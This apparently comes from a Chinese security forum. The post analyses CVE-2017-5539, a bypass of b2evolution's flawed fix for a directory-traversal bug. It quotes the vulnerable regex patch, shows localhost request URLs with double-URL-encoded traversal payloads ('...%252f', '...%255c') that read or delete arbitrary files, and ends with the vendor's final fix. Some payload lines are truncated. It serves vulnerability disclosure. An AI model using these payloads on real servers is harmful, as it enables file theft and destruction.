blackwolf / 2017-04-26 03:16:00 / 浏览数 4385 安全技术 漏洞分析 顶(0) 踩(0)

0x00 前言

b2evolution官方针对CVE-2017-5480漏洞修复存在缺陷,可直接bypass删除、读取任意文件(CVE-2017-5539)。

0x01 漏洞回顾

b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件,漏洞详细分析见笔者上一篇博客,<u>初探CVE漏洞之CVE-2017-5480</u>。 官方修复并发布了<u>6.8.4-stable</u>新版本

CVE-2017-5480漏洞测试

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=../../../../../../../../../../../../

返回如下图所示,可见官方已修复之前的漏洞

0x02 Bypass

```
修复方式并不安全, 补丁地址, 补丁部分代码如下
```

```
+// Prevent directory traversal using '..'
+$re = '\/\?\.\\/+/';
foreach( $fm_selected as $l_source_path )
{
+         if( preg_match( $re, $l_source_path ) )
+         {
+             debug_die( 'Invalid fm_selected parameter value' );
+        }
    $selected_Filelist->add_by_subpath( urldecode($l_source_path), true );
}
```

分析出作者采取过滤 ... /的方式修复CVE-2017-5480漏洞。然而这种方式并不安全,可直接Bypass,参考 CVE-2017-5539。 修改payload如下:

等价的payload如下:

通过同作者联系沟通,得到作者如下回复

作者企图通过直接过滤.../和...\的方式修复此漏洞。这样就安全了吗?当然不是(最容易想到的方式是使用绝对路径,但是此处有前缀路径拼接不能成功) 在/inc/files/files.ctrl.php文件中发现文件路径参数经过了urldecode处理,部分代码如下。

```
$selected_Filelist->add_by_subpath( urldecode($l_source_path), true );
```

所以即使过滤.../和...\也存在如下两种方式绕过,...%252f经过urldecode处理后转换为.../,...%255c经过urldecode处理后转换为...\,修改payload如下:

 $\verb|http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=...*252f...*$

2.

http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=...%255c.

结果如下图

0x03 结束语

官方最终采用以下修复,并发布6.8.5-stable版本

```
$fm_selected = param( 'fm_selected', 'array:filepath', array(), true );
```

array:filepath参数合规性判断的核心函数如下:

```
function is_safe_filepath( $filepath )
global $filemanager_allow_dotdot_in_filenames;
if( ! isset( $filemanager_allow_dotdot_in_filenames ) )
{ // This config var is required:
\tt debug\_die( 'The \ var \ <strong> \$filemanager\_allow\_dotdot\_in\_filenames </strong> \ must \ be \ defined \ in \ config \ file.' \ );
if( empty( $filepath ) )
{ // Allow empty file path:
return true;
if( ! $filemanager_allow_dotdot_in_filenames &&
strpos( $filepath, '..' ) !== false )
\{\hspace{0.1in} \mbox{// Don't allow .. in file path because it is disable by config:}
return false;
do
{
    // Decode file path while it is possible:
$orig_filepath = $filepath;
$filepath = urldecode( $filepath );
if( strpos( $filepath, '../' ) !== false || strpos( $filepath, '..\\' ) !== false )
return false;
while( $filepath != $orig_filepath );
return true;
?>
```

- 如果管理员设置了不允许文件名包含..,只要检测文件路径包含..即返回false
- 循环进行urldecode操作,然后检测文件路径包含../或..\即返回false

点击收藏 | 0 关注 | 1

上一篇:CVE原创分析初探CVE漏洞之CV... 下一篇:CVE原创分析初探CVE漏洞之CV...

1. 1条回复



索马里的海贼 2017-05-03 04:01:43

终于找到了抢我cve的人。。。

0 回复Ta

现在登录

热门节点

技术文章

<u>社区小黑板</u>

目录

RSS <u>关于社区</u> 友情链接 社区小黑板